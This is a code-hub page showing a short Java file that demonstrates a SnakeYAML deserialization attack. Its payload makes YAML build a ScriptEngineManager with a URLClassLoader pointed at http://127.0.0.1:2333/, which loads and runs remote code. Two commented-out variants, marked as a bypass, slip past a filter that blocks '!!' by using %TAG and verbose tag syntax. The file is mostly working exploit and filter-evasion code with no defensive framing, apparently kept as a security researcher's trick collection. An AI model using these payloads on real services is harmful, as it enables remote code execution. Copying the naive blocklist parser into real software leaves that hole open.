MCPcopy Create free account
hub / github.com/Firebasky/Java / SnakeYaml

Class SnakeYaml

SnakeYaml/src/main/java/trick/SnakeYaml.java:9–35  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

7import org.yaml.snakeyaml.Yaml;
8
9public class SnakeYaml {
10 public static void main(String[] args) {
11 String data = "!" +
12 "!javax.script.ScriptEngineManager [!" +
13 "!java.net.URLClassLoader [[!" +
14 "!java.net.URL [\"http://127.0.0.1:2333/\"]]]]";
15 //-------------------绕过-----------
16 //String data = "%TAG ! tag:yaml.org,2002:\n" +
17 // "---\n" +
18 // "!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL [\"http://127.0.0.1:2333/\"]]]]";
19
20 //String data = "!<tag:yaml.org,2002:javax.script.ScriptEngineManager> "+
21 // "[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>" +
22 // " [\"http://127.0.0.1:2333\"]]]]";
23
24 Object parse = SnakeYaml.parse(data,Object.class);
25
26 }
27
28 public static Object parse(String data,Class clazz){
29 if(data.indexOf("!!")!=-1){
30 throw new RuntimeException("error");
31 }
32 Yaml yaml = new Yaml();
33 return yaml.loadAs(data,clazz);
34 }
35}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected